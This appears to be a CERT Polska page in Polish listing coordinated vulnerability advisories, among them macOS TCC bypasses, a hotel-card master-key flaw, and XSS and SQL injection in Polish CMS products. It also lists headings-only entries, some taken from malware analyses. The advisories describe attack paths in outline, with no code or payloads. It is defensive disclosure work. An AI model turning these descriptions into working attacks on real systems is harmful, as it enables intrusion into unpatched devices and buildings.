Podatność CVE-2024-13917: Aplikacja "com.pri.applock", fabrycznie zainstalowana na telefonach Krüger&Matz, umożliwia użytkownikowi szyfrowanie dowolnych aplikacji za pomocą kodu PIN lub danych biometrycznych. Udostępniona aktywność "com.pri.applock.LockUI" pozwala dowolnej złośliwej aplikacji, nieposiadającej żadnych uprawnień systemowych Androida, wstrzyknąć dowolny intent do chronionej aplikacji z uprawnieniami systemowymi. Warunkiem jest znajomość kodu PIN (który może zostać ujawniony poprzez wykorzystanie CVE-2024-13916) lub uzyskanie go od użytkownika. Producent nie udostępnił informacji o podatnych wersjach. Jedynie wersja (version name: 13, version code: 33) została przetestowana i potwierdzono w niej podatność.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.

Podatności TCC Bypass w trzech aplikacjach na systemy macOS

2025-05-29T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach występujących w trzech aplikacjach na systemy macOS i koordynował proces ujawniania informacji.

Poedit

Podatność CVE-2025-4280: Wersja Poedit na urządzenia z systemem macOS posiada interpreter Python, który dziedziczy uprawnienia nadane głównej aplikacji w systemie Transparency, Consent, and Control (TCC). Atakujący z lokalnym dostępem może uruchomić ten interpreter, za pomocą poleceń bądź skryptów, i wykorzystać uprawnienia głównej aplikacji do uzyskiwania dostępu do plików użytkownika w chronionych folderach, bez wywoływania monitów z prośbą o przyznanie dostępu. Dostęp do pozostałych zasobów, do których uprawnienia nie zostały przyznane, wywoła monit z prośbą o akceptację w imieniu aplikacji Poedit, potencjalnie maskując złośliwe zamiary atakującego.

Ta podatność została usunięta w wersji Poedit 3.6.3.

Viscosity

Podatność CVE-2025-4412: W systemie operacyjnym macOS, wykorzystując agenta uruchamiania (Launch Agent) i ładując proces viscosity_openvpn, możliwe jest załadowanie dynamicznej biblioteki z uprawnieniami Transparency, Consent, and Control (TCC) aplikacji Viscosity. Uzyskany dostęp do zasobów jest ograniczony i nie obejmuje uprawnień takich jak dostęp do kamery czy mikrofonu. Dynamiczna biblioteka uzyskuje jedynie uprawnienia do zasobów plikowych przyznanych wcześniej przez użytkownika (domyślnie aplikacja nie ma przyznanych żadnych uprawnień, w tym również do plików). Dostęp do pozostałych zasobów poza nadanymi uprawnieniami wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.

Ta podatność została usunięta w wersji 1.11.5 aplikacji Viscosity.

DaVinci Resolve

Podatność CVE-2025-4081: Obecność uprawnienia "com.apple.security.cs.disable-library-validation" wraz z brakiem ograniczeń dotyczących uruchamiania i ładowania bibliotek umożliwia podmianę dynamicznej biblioteki. Atakujący z dostępem do nieuprzywilejowanego konta może podmienić dynamiczną bibliotekę i uruchomić aplikację, omijając w ten sposób system Transparency, Consent, and Control (TCC). Dynamiczna biblioteka uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.

Ta podatność dotyczy wszystkich wersji DaVinci Resolve na systemy operacyjne macOS. Ostatnia testowana wersja: 19.1.3

Podziękowania

Za zgłoszenia podatności dziękujemy Karolowi Mazurkowi z Afine.

Podatność w otwartoźródłowym projekcie hackney

2025-05-28T11:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu hackney i koordynował proces ujawniania informacji.

Podatność CVE-2025-3864: Biblioteka hackney nieprawidłowo zwalnia połączenia HTTP do puli po obsłużeniu odpowiedzi 307 Temporary Redirect. Zdalni atakujący mogą wykorzystać ten problem do wyczerpania puli połączeń, co prowadzi do odmowy usługi (DoS) w aplikacjach korzystających z tej biblioteki. Poprawka dla tej podatności została zawarta w wersji 1.24.0.

Podziękowania

Za zgłoszenie podatności dziękujemy członkom zespołu Afine: Michałowi Majchrowiczowi, Marcinowi Wyczechowskiemu oraz Pawłowi Zdunkowi.

Podatność w oprogramowaniu kart hotelowych Be-Tech Mifare Classic

2025-05-26T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu kart hotelowych Be-Tech Mifare Classic i koordynował proces ujawniania informacji.

Podatność CVE-2025-4053: Dane przechowywane na karcie Be-Tech Mifare Classic są w postaci niezaszyfrowanej. Atakujący, mający dostęp do karty gościa hotelowego Be-Tech Mifare Classic, może stworzyć kartę z kluczem głównym, która otwiera wszystkie zamki w budynku.

Problem ten dotyczy wszystkich systemów kart Be-Tech Mifare Classic. Aby usunąć podatność, potrzebna jest wymiana oprogramowania, kodera, kart oraz płytek PCB w zamkach.

Podziękowania

Za zgłoszenie podatności dziękujemy Sławomirowi Jaskowi (smartlockpicking.com).

Podatność w oprogramowaniu Studio Fabryka DobryCMS

2025-05-23T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Studio Fabryka DobryCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-4379: DobryCMS w wersjach 2.* i niższych jest podatny na atak typu Reflected Cross-Site Scripting (XSS). Niewłaściwa walidacja danych wejściowych w parametrze "szukaj" umożliwia wykonanie dowolnego kodu JavaScript w przeglądarce ofiary po otwarciu specjalnie spreparowanego adresu URL.

Łatka naprawcza dla podatnych wersji została opublikowana 29.04.2025. Podatność została usunięta bez zwiększania wersji oprogramowania.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu oraz Robertowi Kruczkowi.

Trzy podatności w oprogramowaniu MegaBIP

2025-05-23T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.

Podatność CVE-2025-3893: Podczas edycji stron zarządzanych przez MegaBIP, użytkownik z wysokimi uprawnieniami jest proszony o podanie uzasadnienia dla wykonania tej operacji. Wprowadzone dane nie są poprawnie sanityzowane, co prowadzi do podatności typu SQL Injection.

Podatność CVE-2025-3894: Edytor tekstu wbudowany w oprogramowanie MegaBIP nie neutralizuje danych wejściowych użytkownika, umożliwiając przeprowadzenie ataku Stored XSS na innych użytkownikach. Do korzystania z edytora wymagane są wysokie uprawnienia.

Podatność CVE-2025-3895: Tokeny używane do resetowania haseł w oprogramowaniu MegaBIP są generowane w oparciu o niewielką przestrzeń losowych wartości połączonych z wartością możliwą do zapytania. Pozwala to nieuwierzytelnionemu atakującemu, który zna loginy użytkowników, na odgadnięcie tych tokenów metodą brute force i zmianę haseł do kont (w tym także kont administratorów).

Wersja 5.20 oprogramowania MegaBIP usuwa te podatności.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.

Rozwijamy moje.cert.pl - nowa funkcja już dostępna!

2025-05-22T14:00:00+02:00

Na początku roku uruchomiliśmy serwis moje.cert.pl, podnoszący i rozwijający cyberbezpieczeństwo dzięki szeregowi usług i narzędzi. Od startu w serwisie zarejestrowało się ponad 11 tysięcy użytkowników. To dla nich włączamy dziś nową funkcję – komunikaty o zagrożeniach.

W nowej zakładce będziemy umieszczać ostrzeżenia dotyczące polskiej cyberprzestrzeni i alerty o podatnościach. Komunikaty są od dziś widoczne w serwisie oraz za pomocą RSS, a po rejestracji i wyrażeniu zgody można je otrzymywać także mailowo. W planach mamy włączenie możliwości wysyłania komunikatów również przez CSIRTy sektorowe.

W ramach moje.cert.pl każdy - zarówno osoba prywatna posiadająca stronę internetową, jak i mała firma czy duża instytucja publiczna udostępniająca wiele skomplikowanych systemów, może budować i rozwijać swoje cyberbezpieczeństwo. W serwisie można: zamówić bezpłatne skanowanie bezpieczeństwa wszystkich swoich domen, uzyskać informacje na temat wycieków haseł, otrzymywać informacje o infekcjach szkodliwym oprogramowaniem oraz sprawdzić czy dana sieć jest chroniona przez Listę Ostrzeżeń przed niebezpiecznymi stronami. Ale to nie koniec! Serwis jest stale rozwijany. Komunikaty to pierwsze z wielu usprawnień serwisu, które zespół CERT Polska planuje w najbliższym czasie. Zachęcamy do korzystania z moje.cert.pl!

CERT Polska

Podatność w oprogramowaniu AdaptiveGRC

Opis podatności

Podziękowania

Podatność w oprogramowaniu GNU sed

Opis podatności

Podziękowania

Podatność w oprogramowaniu Fudo Enterprise

Opis podatności

Podziękowania

Podatności w oprogramowaniu PAC4J

Opis podatności

Podziękowania

Podatność w oprogramowaniu GREENmod

Opis podatności

Podziękowania

Podatność w oprogramowaniu MCPHub

Opis podatności

Podziękowania

Podatności w oprogramowaniu Hydrosystem Control System

Opis podatności

Podziękowania

Raport roczny z działalności CERT Polska w 2025 roku

Podatności w oprogramowaniu Mlflow

Opis podatności

Podziękowania

Podatność w oprogramowaniu Bludit

Opis podatności

Podziękowania

Analiza cifrat: czy to ewolucja mobilnego RATa?

Podstawowe informacje

Przebieg infekcji

Co przyniosła analiza próbki?

Jak się chronić?

Analiza techniczna

Analiza AndroidManifest.xml

Etap 0: aktywność startowa, lokalny WebView i interfejs JavaScript

Etap 1: inicjalizacja w klasie Application i zrzucenie biblioteki natywnej

Analiza natywna: rejestracja JNI i mechanizmy utrudniające analize

Odzyskana semantyka natywnego dekodera

Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do PackageInstaller

Manifest etapu 2

Etap 3: ukryty payload FH.svg i rozpakowanie z użyciem algorytmu przypominającego RC4

Uruchomienie końcowego modułu

Finalne C2: rozdzielona architektura WebSocket control/data

Co robi finalny payload

Podsumowanie

IOC

Podatności w oprogramowaniu Szafir

Opis podatności

Podziękowania

Analiza kampanii FvncBot

Podstawowe informacje

Przebieg infekcji

Co przyniosła analiza próbki?

Jak się chronić?

Analiza techniczna

Manifest i przynęty

Etap 1, wczytywanie: prywatna ścieżka + DexClassLoader

Etap 2, instalacja: payload_grass.apk i śledzenie ofiary

Etap 2: com.core.town

Wypakowanie ukrytego etapu: qkcCg.jpg

Cechy szkodliwego oprogramowania

Accessibility-based remote control

Przechwytywanie tekstu i wejścia klawiatury

Przechwytywanie interfejsu użytkownika

Nakładki i wstrzyknięcia zawartości sieciowej

Strumieniowanie ekranu i sesje WebSocket

Dodatkowe funkcje pomocnicze

Rejestracja urządzenia podczas wykonania programu

Podsumowanie

Wskaźniki infekcji (IoC)

Identyfikatory plików i etapów

Infrastruktura sieciowa

Podatność w oprogramowaniu Robolinho Update Software

Opis podatności

Podziękowania

Podatności w oprogramowaniu Bludit

Opis podatności

Podziękowania

Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do `PackageInstaller`

Wypakowanie ukrytego etapu: `qkcCg.jpg`